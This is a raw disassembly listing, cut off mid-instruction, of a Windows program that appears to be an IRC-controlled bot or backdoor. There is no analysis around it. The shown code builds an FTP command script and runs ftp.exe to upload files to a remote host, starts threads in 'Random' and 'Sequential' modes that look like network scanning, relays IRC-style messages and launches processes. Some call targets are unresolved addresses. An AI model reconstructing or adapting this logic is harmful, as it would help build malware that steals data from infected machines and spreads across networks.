[ebp+esi+var_7C] cmp esi, ebx jz loc_401F75 push [ebp+arg_8] push offset aUpload ; "upload" call sub_41CA50 pop ecx test eax, eax pop ecx jnz loc_409644 push 4 push esi call sub_416CAF pop ecx test eax, eax pop ecx jnz short loc_407253 push esi push offset unk_42ABA8 loc_40723F: ; CODE XREF: sub_401ACD+711Ej ; sub_401ACD+796Bj lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch jmp loc_403F9D ; --------------------------------------------------------------------------- loc_407253: ; CODE XREF: sub_401ACD+576Aj call near ptr 2690794h nop push eax call sub_41C2B8 pop ecx call sub_41C2C2 push 9 cdq pop ecx idiv ecx push edx call sub_41C2C2 push 63h cdq pop ecx idiv ecx push edx call sub_41C2C2 cdq mov ecx, 3E7h idiv ecx lea eax, [ebp+var_50FC] push edx push eax lea eax, [ebp+var_2E5C] push offset aSIII_dll ; "%s\\%i%i%i.dll" push eax call sub_41C266 lea eax, [ebp+var_2E5C] push offset aAb ; "ab" push eax call sub_41BEA2 add esp, 20h cmp eax, ebx mov [ebp+arg_24], eax jz loc_401F75 push esi push [ebp+arg_10] push [ebp+arg_0] push [ebp+arg_18] push edi push offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n" push eax call sub_41C7E6 push [ebp+arg_24] call sub_41BA3B add esp, 20h lea eax, [ebp+var_2E5C] push eax lea eax, [ebp+var_4CF8] push offset aSS_1 ; "-s:%s" push eax call sub_41C266 add esp, 0Ch lea eax, [ebp+var_4CF8] push ebx push ebx push eax push offset aFtp_exe ; "ftp.exe" push offset aOpen ; "open" push ebx call dword_4CB940 test eax, eax push edi push esi jz short loc_407320 push offset unk_42AB38 jmp short loc_407325 ; --------------------------------------------------------------------------- loc_407320: ; CODE XREF: sub_401ACD+584Aj push offset unk_42AB08 loc_407325: ; CODE XREF: sub_401ACD+5851j call sub_41C266 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_40734E push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 14h loc_40734E: ; CODE XREF: sub_401ACD+5863j lea eax, [ebp+var_2C4] push eax call sub_415D38 loc_40735A: ; CODE XREF: sub_401ACD+58B2j lea eax, [ebp+var_2E5C] push 4 push eax call sub_416CAF add esp, 0Ch test eax, eax jz loc_401F75 lea eax, [ebp+var_2E5C] push eax call sub_41C7BC jmp short loc_40735A ; --------------------------------------------------------------------------- loc_407381: ; CODE XREF: sub_401ACD+5705j push edi call sub_41C159 push [ebp+arg_18] mov [ebp+var_370], eax call sub_41C159 push [ebp+arg_0] mov [ebp+var_358], eax call sub_41C159 add esp, 0Ch cmp eax, 5 mov [ebp+var_36C], eax jnb short loc_4073BA push 5 pop eax mov [ebp+var_36C], eax loc_4073BA: ; CODE XREF: sub_401ACD+58E2j push 3Ch pop ecx cmp eax, ecx jbe short loc_4073C7 mov [ebp+var_36C], ecx loc_4073C7: ; CODE XREF: sub_401ACD+58F2j push [ebp+arg_10] call sub_41C159 cmp eax, 320h pop ecx mov [ebp+var_368], eax jbe short loc_4073E7 mov [ebp+var_368], 320h loc_4073E7: ; CODE XREF: sub_401ACD+590Ej or [ebp+var_354], 0FFFFFFFFh cmp dword_4317F8, ebx mov [ebp+arg_1C], ebx jz short loc_40743D mov [ebp+arg_24], offset dword_4317F8 loc_407400: ; CODE XREF: sub_401ACD+5952j mov eax, [ebp+arg_24] push edi add eax, 0FFFFFFD8h push eax call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_407423 add [ebp+arg_24], 40h inc [ebp+arg_1C] mov eax, [ebp+arg_24] cmp [eax], ebx jnz short loc_407400 jmp short loc_40743D ; --------------------------------------------------------------------------- loc_407423: ; CODE XREF: sub_401ACD+5944j mov eax, [ebp+arg_1C] mov ecx, eax mov [ebp+var_354], eax shl ecx, 6 mov ecx, dword_4317F8[ecx] mov [ebp+var_370], ecx loc_40743D: ; CODE XREF: sub_401ACD+592Aj ; sub_401ACD+5954j cmp [ebp+var_370], ebx jnz short loc_40744F push offset unk_42AAD4 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_40744F: ; CODE XREF: sub_401ACD+5976j mov edi, [ebp+esi+var_7C] cmp edi, ebx mov [ebp+arg_0], edi jz short loc_40748A cmp byte ptr [edi], 23h jz short loc_40748A push edi lea eax, [ebp+var_484] push 10h push eax call sub_41C360 push 78h push edi call sub_41C990 add esp, 14h neg eax sbb eax, eax neg eax mov [ebp+var_344], eax jmp loc_407564 ; --------------------------------------------------------------------------- loc_40748A: ; CODE XREF: sub_401ACD+598Bj ; sub_401ACD+5990j cmp [ebp+var_8FF], bl jnz short loc_4074AC cmp [ebp+var_8FE], bl jnz short loc_4074AC cmp [ebp+var_8EE], bl jnz short loc_4074AC push offset unk_42AAA0 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_4074AC: ; CODE XREF: sub_401ACD+59C3j ; sub_401ACD+59CBj ... push 10h lea eax, [ebp+var_2D0] pop edi push eax lea eax, [ebp+var_2F8] push eax mov [ebp+var_2D0], edi push [ebp+arg_4] call dword_4CB978 mov al, [ebp+var_8FF] push edi neg al sbb eax, eax and ax, 100h add eax, 0FFFFh and [ebp+var_2F4], eax push [ebp+var_2F4] call dword_4CBA60 push eax lea eax, [ebp+var_484] push eax call sub_41BFD0 add esp, 0Ch cmp [ebp+var_8EE], bl jz short loc_40755E xor eax, eax cmp [ebp+var_8FF], bl push 30h setnz al inc eax inc eax mov edi, eax lea eax, [ebp+var_484] push eax call sub_41C820 pop ecx cmp edi, ebx pop ecx mov byte ptr [ebp+arg_24+3], bl jle short loc_407552 loc_407530: ; CODE XREF: sub_401ACD+5A83j cmp eax, ebx jz short loc_407552 mov byte ptr [eax], 78h lea eax, [ebp+var_484] push 30h push eax call sub_41C820 inc byte ptr [ebp+arg_24+3] pop ecx pop ecx movsx ecx, byte ptr [ebp+arg_24+3] cmp ecx, edi jl short loc_407530 loc_407552: ; CODE XREF: sub_401ACD+5A61j ; sub_401ACD+5A65j mov [ebp+var_344], 1 jmp short loc_407564 ; --------------------------------------------------------------------------- loc_40755E: ; CODE XREF: sub_401ACD+5A3Bj mov [ebp+var_344], ebx loc_407564: ; CODE XREF: sub_401ACD+59B8j ; sub_401ACD+5A8Fj mov eax, [ebp+arg_4] push [ebp+var_88] mov [ebp+var_374], eax mov eax, [ebp+var_4] mov [ebp+var_34C], eax mov eax, [ebp+var_8] mov [ebp+var_348], eax mov edi, 80h lea eax, [ebp+var_474] push edi push eax call sub_41C360 mov esi, [ebp+esi+var_78] add esp, 0Ch cmp esi, ebx jz short loc_4075B5 loc_4075A2: ; CODE XREF: sub_401ACD+5B0Bj push esi loc_4075A3: ; CODE XREF: sub_401ACD+5AF5j lea eax, [ebp+var_3F4] push edi push eax call sub_41C360 add esp, 0Ch jmp short loc_4075E0 ; --------------------------------------------------------------------------- loc_4075B5: ; CODE XREF: sub_401ACD+5AD3j mov eax, [ebp+arg_0] cmp eax, ebx jz short loc_4075C4 cmp byte ptr [eax], 23h jnz short loc_4075C4 push eax jmp short loc_4075A3 ; --------------------------------------------------------------------------- loc_4075C4: ; CODE XREF: sub_401ACD+5AEDj ; sub_401ACD+5AF2j mov esi, offset aF ; "#f" push offset byte_43DB88 push esi call sub_41CA50 pop ecx test eax, eax pop ecx jnz short loc_4075A2 mov [ebp+var_3F4], bl loc_4075E0: ; CODE XREF: sub_401ACD+5AE6j cmp [ebp+var_344], ebx mov eax, offset aRandom ; "Random" jnz short loc_4075F2 mov eax, offset aSequential ; "Sequential" loc_4075F2: ; CODE XREF: sub_401ACD+5B1Ej push [ebp+var_358] lea ecx, [ebp+var_484] push [ebp+var_368] push [ebp+var_36C] push [ebp+var_370] push ecx push eax lea eax, [ebp+var_2C4] push offset unk_42AA38 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B3BA add esp, 2Ch mov [ebp+var_364], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_484] push ebx push eax push offset loc_40C600 push ebx push ebx call near ptr 2680089h nop mov ecx, [ebp+var_364] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_407680 loc_40766A: ; CODE XREF: sub_401ACD+5BB1j cmp [ebp+var_340], ebx jnz loc_4081AD push 32h nop call near ptr 2680000h jmp short loc_40766A ; --------------------------------------------------------------------------- loc_407680: ; CODE XREF: sub_401ACD+5B9Bj call near ptr 2680880h nop push eax push offset unk_42AA00 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_407691: ; CODE XREF: sub_401ACD+4E42j ; sub_401ACD+4E59j push edi call sub_40A8F0 push [ebp+arg_18] mov [ebp+var_4E0], eax call sub_41C159 push [ebp+arg_0] mov [ebp+var_4F0], eax call sub_41C159 push [ebp+arg_10] mov [ebp+var_4EC], eax call sub_41C159 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_4E8], eax lea eax, [ebp+var_570] mov [ebp+var_574], esi push eax call sub_41BFD0 add esp, 1Ch mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_4D8], edi push [ebp+var_4EC] mov [ebp+var_4D4], eax push [ebp+var_4F0] push [ebp+var_4E8] push [ebp+var_4E0] call dword_4CBA60 push eax lea eax, [ebp+var_2C4] push offset unk_42A9B0 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B3BA add esp, 24h mov [ebp+var_4E4], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_574] push ebx push eax push offset byte_40CA1D push ebx push ebx nop call near ptr 2680089h mov ecx, [ebp+var_4E4] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_407786 loc_407770: ; CODE XREF: sub_401ACD+5CB7j cmp [ebp+var_4D0], ebx jnz loc_403D46 push 32h nop call near ptr 2680000h jmp short loc_407770 ; --------------------------------------------------------------------------- loc_407786: ; CODE XREF: sub_401ACD+5CA1j nop call near ptr 2680880h push eax push offset unk_42A974 jmp loc_403D37 ; --------------------------------------------------------------------------- loc_407797: ; CODE XREF: sub_401ACD+4E05j ; sub_401ACD+4E1Cj push edi call sub_41C159 imul eax, 234h pop ecx cmp byte_43E928[eax], bl jz loc_409644 cmp [ebp+var_C], ebx jz loc_409644 push [ebp+arg_18] call sub_41B9C0 push edi mov esi, eax call sub_41B9C0 push [ebp+arg_8] add esi, eax call sub_41B9C0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41C2E0 add esp, 14h mov esi, eax lea eax, [ebp+var_2C4] push esi push offset dword_42A968 push eax call sub_41C266 add esp, 0Ch cmp esi, ebx jz loc_409644 push edi call sub_41C159 test eax, eax pop ecx jle loc_409644 push edi call sub_41C159 cmp eax, 400h pop ecx jge loc_409644 push ebx lea eax, [ebp+var_2C4] push ebx push eax push [ebp+arg_18] push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E91C[eax] call sub_409869 push edi call sub_41C159 imul eax, 234h add esp, 18h cmp byte ptr dword_43E710[eax], 73h jnz loc_409644 push esi push edi call sub_41C159 imul eax, 234h pop ecx add eax, offset byte_43E928 push eax push [ebp+arg_18] push offset aSSS_2 ; "[%s] * %s %s" jmp loc_407957 ; --------------------------------------------------------------------------- loc_407887: ; CODE XREF: sub_401ACD+4DD7j ; sub_401ACD+4DEEj push edi call sub_41C159 imul eax, 234h pop ecx cmp byte_43E928[eax], bl jz loc_409644 cmp [ebp+var_C], ebx jz loc_409644 push [ebp+arg_18] call sub_41B9C0 push edi mov esi, eax call sub_41B9C0 push [ebp+arg_8] add esi, eax call sub_41B9C0 add eax, [ebp+var_C] push [ebp+arg_0] lea eax, [eax+esi+2] push eax call sub_41C2E0 mov esi, eax add esp, 14h cmp esi, ebx jz loc_409644 push edi call sub_41C159 test eax, eax pop ecx jle loc_409644 push edi call sub_41C159 cmp eax, 400h pop ecx jge loc_409644 push ebx push ebx push esi push [ebp+arg_18] push edi call sub_41C159 imul eax, 234h pop ecx push dword_43E91C[eax] call sub_409869 push edi call sub_41C159 imul eax, 234h add esp, 18h cmp byte ptr dword_43E710[eax], 73h jnz loc_409644 push esi push edi call sub_41C159 imul eax, 234h pop ecx add eax, offset byte_43E928 push eax push [ebp+arg_18] push offset aSSS_1 ; "[%s] <%s> %s" loc_407957: ; CODE XREF: sub_401ACD+5DB5j lea eax, [ebp+var_2C4] push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409869 add esp, 28h jmp loc_409644 ; --------------------------------------------------------------------------- loc_407984: ; CODE XREF: sub_401ACD+4DA9j ; sub_401ACD+4DC0j push edi call dword_4CBA14 push [ebp+arg_18] mov [ebp+var_680], eax call sub_41C159 push [ebp+arg_0] mov [ebp+var_690], eax call sub_41C159 mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_688], eax lea eax, [ebp+var_710] mov [ebp+var_714], esi push eax call sub_41BFD0 add esp, 14h mov edi, [ebp+var_4] mov eax, [ebp+var_8] mov [ebp+var_678], edi push [ebp+var_688] mov [ebp+var_674], eax push [ebp+var_690] push [ebp+var_680] call dword_4CBA60 push eax lea eax, [ebp+var_2C4] push offset unk_42A910 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 0Bh push eax call sub_40B3BA add esp, 20h mov [ebp+var_684], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_714] push ebx push eax push offset dword_40C92C push ebx push ebx nop call near ptr 2680089h mov ecx, [ebp+var_684] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_407A66 loc_407A50: ; CODE XREF: sub_401ACD+5F97j cmp [ebp+var_670], ebx jnz loc_403D46 push 32h nop call near ptr 2680000h jmp short loc_407A50 ; --------------------------------------------------------------------------- loc_407A66: ; CODE XREF: sub_401ACD+5F81j nop call near ptr 2680880h push eax push offset unk_42AA00 jmp loc_403D37 ; --------------------------------------------------------------------------- loc_407A77: ; CODE XREF: sub_401ACD+4D7Bj ; sub_401ACD+4D92j push edi call sub_41C159 push 7Fh mov [ebp+var_1130], eax push [ebp+arg_18] lea eax, [ebp+var_1234] push eax call sub_41BFD0 push [ebp+arg_0] call sub_41C159 mov esi, [ebp+arg_4] add esp, 14h mov [ebp+var_1134], eax lea eax, [ebp+var_11B4] push [ebp+var_88] mov [ebp+var_123C], esi push 80h push eax call sub_41C360 mov eax, [ebp+var_8] add esp, 0Ch mov edi, [ebp+var_4] mov [ebp+var_1120], eax push [ebp+var_1134] lea eax, [ebp+var_1234] mov [ebp+var_1124], edi push eax push [ebp+var_1130] push esi call sub_40AA06 pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42A8D4 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 18h push eax call sub_40B3BA add esp, 24h mov [ebp+var_112C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_123C] push ebx push eax push offset loc_410DAB push ebx push ebx nop call near ptr 2680089h mov ecx, [ebp+var_112C] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_407B63 loc_407B4D: ; CODE XREF: sub_401ACD+6094j cmp [ebp+var_111C], ebx jnz loc_403D46 push 32h call near ptr 2680000h nop jmp short loc_407B4D ; --------------------------------------------------------------------------- loc_407B63: ; CODE XREF: sub_401ACD+607Ej nop call near ptr 2680880h push eax push offset unk_42A890 jmp loc_403D37 ; --------------------------------------------------------------------------- loc_407B74: ; CODE XREF: sub_401ACD+4D4Dj ; sub_401ACD+4D64j push 0FFh lea eax, [ebp+var_287C] push edi push eax call sub_41BFD0 push 0FFh lea eax, [ebp+var_277C] push [ebp+arg_18] push eax call sub_41BFD0 push [ebp+arg_0] mov [ebp+var_2678], ebx call sub_41C159 mov [ebp+var_2674], eax mov eax, [ebp+esi+var_80] add esp, 1Ch cmp eax, ebx jz short loc_407BCD push 10h push ebx push eax call sub_41C7A5 add esp, 0Ch mov [ebp+var_266C], eax jmp short loc_407BD3 ; --------------------------------------------------------------------------- loc_407BCD: ; CODE XREF: sub_401ACD+60EAj mov [ebp+var_266C], ebx loc_407BD3: ; CODE XREF: sub_401ACD+60FEj mov esi, [ebp+esi+var_7C] cmp esi, ebx jz short loc_407BEA push esi call sub_41C159 pop ecx mov [ebp+var_2670], eax jmp short loc_407BF0 ; --------------------------------------------------------------------------- loc_407BEA: ; CODE XREF: sub_401ACD+610Cj mov [ebp+var_2670], ebx loc_407BF0: ; CODE XREF: sub_401ACD+611Bj movzx eax, [ebp+var_8FB] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_88] mov [ebp+var_2668], eax lea eax, [ebp+var_28FC] mov [ebp+var_2900], esi push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_2660], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_2664], eax lea eax, [ebp+var_2C4] push edi push offset dword_42A864 push eax call sub_41C266 push esi lea eax, [ebp+var_2C4] push 1Dh push eax call sub_40B3BA add esp, 1Ch mov [ebp+var_267C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2900] push ebx push eax push offset loc_4167A0 push ebx push ebx nop call near ptr 2680089h mov ecx, [ebp+var_267C] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_407CA1 loc_407C8B: ; CODE XREF: sub_401ACD+61D2j cmp [ebp+var_265C], ebx jnz loc_407196 push 32h nop call near ptr 2680000h jmp short loc_407C8B ; --------------------------------------------------------------------------- loc_407CA1: ; CODE XREF: sub_401ACD+61BCj call near ptr 2680880h nop push eax push offset unk_42A824 jmp loc_407187 ; --------------------------------------------------------------------------- loc_407CB2: ; CODE XREF: sub_401ACD+4D1Fj ; sub_401ACD+4D36j push 7Fh lea eax, [ebp+var_3494] pop esi push esi push edi push eax call sub_41BFD0 push esi lea eax, [ebp+var_3414] push [ebp+arg_18] push eax call sub_41BFD0 push esi lea eax, [ebp+var_3394] push [ebp+arg_0] push eax call sub_41BFD0 push esi lea eax, [ebp+var_3314] push [ebp+var_88] push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_3290], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_328C], eax lea eax, [ebp+var_2C4] push [ebp+arg_18] mov [ebp+var_3498], esi push edi push offset unk_42A7E8 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 12h push eax call sub_40B3BA add esp, 20h mov [ebp+var_3294], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3498] push ebx push eax push offset byte_41561D push ebx push ebx call near ptr 2680089h nop mov ecx, [ebp+var_3294] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_407D89 loc_407D73: ; CODE XREF: sub_401ACD+62BAj cmp [ebp+var_3288], ebx jnz loc_407196 push 32h call near ptr 2680000h nop jmp short loc_407D73 ; --------------------------------------------------------------------------- loc_407D89: ; CODE XREF: sub_401ACD+62A4j nop call near ptr 2680880h push eax push offset unk_42A7B0 jmp loc_407187 ; --------------------------------------------------------------------------- loc_407D9A: ; CODE XREF: sub_401ACD+4BF2j ; sub_401ACD+4C09j push 7Fh lea eax, [ebp+var_306C] pop esi push esi push edi push eax call sub_41BFD0 push esi lea eax, [ebp+var_2FEC] push [ebp+arg_18] push eax call sub_41BFD0 push esi lea eax, [ebp+var_2F6C] push [ebp+arg_0] push eax call sub_41BFD0 push esi lea eax, [ebp+var_2EEC] push [ebp+var_88] push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 30h mov esi, [ebp+arg_4] mov [ebp+var_2E68], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_2E64], eax lea eax, [ebp+var_2C4] push [ebp+arg_18] mov [ebp+var_3070], esi push edi push offset unk_42A780 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 0Eh push eax call sub_40B3BA add esp, 20h mov [ebp+var_2E6C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3070] push ebx push eax push offset dword_414358 push ebx push ebx call near ptr 2680089h nop mov ecx, [ebp+var_2E6C] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_407E71 loc_407E5B: ; CODE XREF: sub_401ACD+63A2j cmp [ebp+var_2E60], ebx jnz loc_407196 push 32h nop call near ptr 2680000h jmp short loc_407E5B ; --------------------------------------------------------------------------- loc_407E71: ; CODE XREF: sub_401ACD+638Cj call near ptr 2680880h nop push eax push offset unk_42A748 jmp loc_407187 ; --------------------------------------------------------------------------- loc_407E82: ; CODE XREF: sub_401ACD+4AC9j ; sub_401ACD+4AE0j ... push 7Fh lea eax, [ebp+var_3CE8] pop esi push esi push edi push eax call sub_41BFD0 push esi lea eax, [ebp+var_3C68] push [ebp+arg_18] push eax call sub_41BFD0 push esi lea eax, [ebp+var_3BE8] push [ebp+arg_0] push eax call sub_41BFD0 push esi lea eax, [ebp+var_3B68] push [ebp+var_88] push eax call sub_41BFD0 push 20h lea eax, [ebp+var_3AE8] push [ebp+arg_8] push eax call sub_41BFD0 mov eax, [ebp+var_4] add esp, 3Ch mov esi, [ebp+arg_4] mov [ebp+var_3A68], eax push [ebp+arg_0] mov eax, [ebp+var_8] mov [ebp+var_3A64], eax lea eax, [ebp+var_2C4] push [ebp+arg_18] mov [ebp+var_3CF0], esi push edi push offset unk_42A718 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 0Dh push eax call sub_40B3BA add esp, 20h mov [ebp+var_3CEC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3CF0] push ebx push eax push offset byte_4135DF push ebx push ebx nop call near ptr 2680089h mov ecx, [ebp+var_3CEC] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_407F6A loc_407F54: ; CODE XREF: sub_401ACD+649Bj cmp [ebp+var_3A60], ebx jnz loc_407196 push 32h nop call near ptr 2680000h jmp short loc_407F54 ; --------------------------------------------------------------------------- loc_407F6A: ; CODE XREF: sub_401ACD+6485j nop call near ptr 2680880h push eax push offset unk_42A6E0 jmp loc_407187 ; --------------------------------------------------------------------------- loc_407F7B: ; CODE XREF: sub_401ACD+4A9Bj ; sub_401ACD+4AB2j push 7Fh lea eax, [ebp+var_177C] push edi push eax call sub_41BFD0 push [ebp+arg_18] call sub_41C159 push 3Fh mov [ebp+var_162C], eax push [ebp+arg_0] lea eax, [ebp+var_16FC] push eax call sub_41BFD0 mov esi, [ebp+esi+var_80] add esp, 1Ch cmp esi, ebx jz short loc_407FC6 push 3Fh lea eax, [ebp+var_16BC] push esi push eax call sub_41BFD0 add esp, 0Ch loc_407FC6: ; CODE XREF: sub_401ACD+64E5j lea eax, [ebp+var_16FC] mov [ebp+var_1628], 1 push eax lea eax, [ebp+var_177C] push [ebp+var_162C] push eax lea eax, [ebp+var_2C4] push offset dword_42A6B0 push eax call sub_41C266 push ebx lea eax, [ebp+var_2C4] push 1Fh push eax call sub_40B3BA add esp, 20h mov [ebp+var_1624], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1780] push ebx push eax push offset sub_4017ED push ebx push ebx nop call near ptr 2680089h mov ecx, [ebp+var_1624] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_408052 loc_40803C: ; CODE XREF: sub_401ACD+6583j cmp [ebp+var_1620], ebx jnz loc_406BFE push 32h nop call near ptr 2680000h jmp short loc_40803C ; --------------------------------------------------------------------------- loc_408052: ; CODE XREF: sub_401ACD+656Dj nop call near ptr 2680880h push eax push offset dword_42A674 jmp loc_406BEF ; --------------------------------------------------------------------------- loc_408063: ; CODE XREF: sub_401ACD+4A5Bj ; sub_401ACD+4A72j push [ebp+arg_18] call sub_41C159 cmp eax, ebx pop ecx mov [ebp+var_1D68], eax jle loc_408156 mov esi, 80h push edi lea eax, [ebp+var_1EF0] push esi push eax call sub_41C360 add esp, 0Ch xor eax, eax cmp [ebp+var_8EE], bl push [ebp+var_88] setnz al mov [ebp+var_1D64], eax mov eax, [ebp+arg_4] mov [ebp+var_1EF4], eax lea eax, [ebp+var_1DF0] push esi push eax call sub_41C360 mov eax, [ebp+var_4] add esp, 0Ch mov [ebp+var_1D60], eax mov eax, [ebp+var_8] push [ebp+arg_18] mov [ebp+var_1D5C], eax lea eax, [ebp+var_2C4] push edi push offset unk_42A648 push 200h push eax call sub_41C360 push ebx lea eax, [ebp+var_2C4] push 15h push eax call sub_40B3BA add esp, 20h mov [ebp+var_1D70], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1EF4] push ebx push eax push offset byte_413A29 push ebx push ebx nop call near ptr 2680089h mov ecx, [ebp+var_1D70] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_408145 loc_408133: ; CODE XREF: sub_401ACD+6676j cmp [ebp+var_1D58], ebx jnz short loc_4081AD push 32h call near ptr 2680000h nop jmp short loc_408133 ; --------------------------------------------------------------------------- loc_408145: ; CODE XREF: sub_401ACD+6664j nop call near ptr 2680880h push eax push offset unk_42A610 jmp loc_408E86 ; --------------------------------------------------------------------------- loc_408156: ; CODE XREF: sub_401ACD+65A7j push offset unk_42A5D8 jmp loc_406E22 ; --------------------------------------------------------------------------- loc_408160: ; CODE XREF: sub_401ACD+4A2Dj ; sub_401ACD+4A44j push [ebp+arg_18] push edi nop call near ptr 26A0C47h test eax, eax jz short loc_40818D push [ebp+arg_18] lea eax, [ebp+var_2C4] push edi push offset unk_42A5B4 push 200h push eax call sub_41C360 add esp, 14h jmp short loc_4081AD ; --------------------------------------------------------------------------- loc_40818D: ; CODE XREF: sub_401ACD+669Fj push offset dword_42A5A8 call sub_418699 pop ecx push eax lea eax, [ebp+var_2C4] push 200h push eax call sub_41C360 loc_4081AA: ; CODE XREF: sub_401ACD+548Dj ; sub_401ACD+73C5j add esp, 0Ch loc_4081AD: ; CODE XREF: sub_401ACD+20DCj ; sub_401ACD+2E89j ... cmp [ebp+var_8], ebx jnz loc_4082DE push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] loc_4081CA: ; CODE XREF: sub_401ACD+56E4j call sub_409869 add esp, 14h jmp loc_4082DE ; --------------------------------------------------------------------------- loc_4081D7: ; CODE XREF: sub_401ACD+49FFj ; sub_401ACD+4A16j push edi lea eax, [ebp+var_3F08] push 104h push eax call sub_41C360 add esp, 0Ch cmp [ebp+var_C], ebx jz short loc_408211 push [ebp+arg_18] push [ebp+var_C] call sub_41C2E0 pop ecx cmp eax, ebx pop ecx jz short loc_408211 push eax lea eax, [ebp+var_3E04] push eax call sub_41C266 pop ecx pop ecx loc_408211: ; CODE XREF: sub_401ACD+6722j ; sub_401ACD+6733j push [ebp+var_88] lea eax, [ebp+var_3F88] push 80h push eax call sub_41C360 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_3F8C], eax mov eax, [ebp+var_4] mov [ebp+var_3CFC], eax mov eax, [ebp+var_8] mov [ebp+var_3CF8], eax lea eax, [ebp+var_3E04] push eax lea eax, [ebp+var_3F08] push eax push offset unk_42A578 lea eax, [ebp+var_2C4] push 200h push eax call sub_41C360 push ebx lea eax, [ebp+var_2C4] push 24h push eax call sub_40B3BA add esp, 20h mov [ebp+var_3D00], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3F8C] push ebx push eax push offset dword_417054 push ebx push ebx nop call near ptr 2680089h mov ecx, [ebp+var_3D00] imul ecx, 234h cmp eax, ebx mov dword_43E924[ecx], eax jz short loc_4082C3 loc_4082B1: ; CODE XREF: sub_401ACD+67F4j cmp [ebp+var_3CF4], ebx jnz short loc_4082DE push 32h call near ptr 2680000h nop jmp short loc_4082B1 ; --------------------------------------------------------------------------- loc_4082C3: ; CODE XREF: sub_401ACD+67E2j nop call near ptr 2680880h push eax push offset unk_42A53C loc_4082CF: ; CODE XREF: sub_401ACD+909j ; sub_401ACD+A47j ... lea eax, [ebp+var_2C4] push eax call sub_41C266 add esp, 0Ch loc_4082DE: ; CODE XREF: sub_401ACD+7C5j ; sub_401ACD+930j ... push 1 pop esi jmp loc_406C22 ; --------------------------------------------------------------------------- loc_4082E6: ; CODE XREF: sub_401ACD+49D1j ; sub_401ACD+49E8j push 44h lea eax, [ebp+var_668] pop esi push esi push ebx push eax call sub_41BF70 push 1 mov [ebp+var_668], esi pop esi mov [ebp+var_638], bx push edi mov [ebp+var_63C], esi call sub_41C159 add esp, 10h cmp eax, esi jnz short loc_408323 mov [ebp+var_638], 5 loc_408323: ; CODE XREF: sub_401ACD+684Bj cmp [ebp+var_C], ebx jz loc_406BFE push [ebp+arg_18] push [ebp+var_C] call sub_41C2E0 mov edi, eax pop ecx cmp edi, ebx pop ecx jz loc_406BFE lea eax, [ebp+var_E34] push eax lea eax, [ebp+var_668] push eax push ebx push ebx push 28h push esi push ebx push ebx push edi push ebx nop call near ptr 2660A8Bh test eax, eax jnz short loc_40836E push offset unk_42A518 jmp loc_4084F5 ; --------------------------------------------------------------------------- loc_40836E: ; CODE XREF: sub_401ACD+6895j push edi push offset dword_42A4FC jmp loc_406BEF ; --------------------------------------------------------------------------- loc_408379: ; CODE XREF: sub_401ACD+49A3j ; sub_401ACD+49BAj push [ebp+arg_18] push offset aDarksf ; "Darksf" call sub_41CA50 pop ecx test eax, eax pop ecx jz loc_4084F0 lea eax, [ebp+var_4BF8] push eax push 104h nop call near ptr 26A0000h push 0FFh lea eax, [ebp+var_25D4] push edi push eax call sub_41BFD0 lea eax, [ebp+var_17D4] push eax call sub_40AB77 add esp, 10h push eax lea eax, 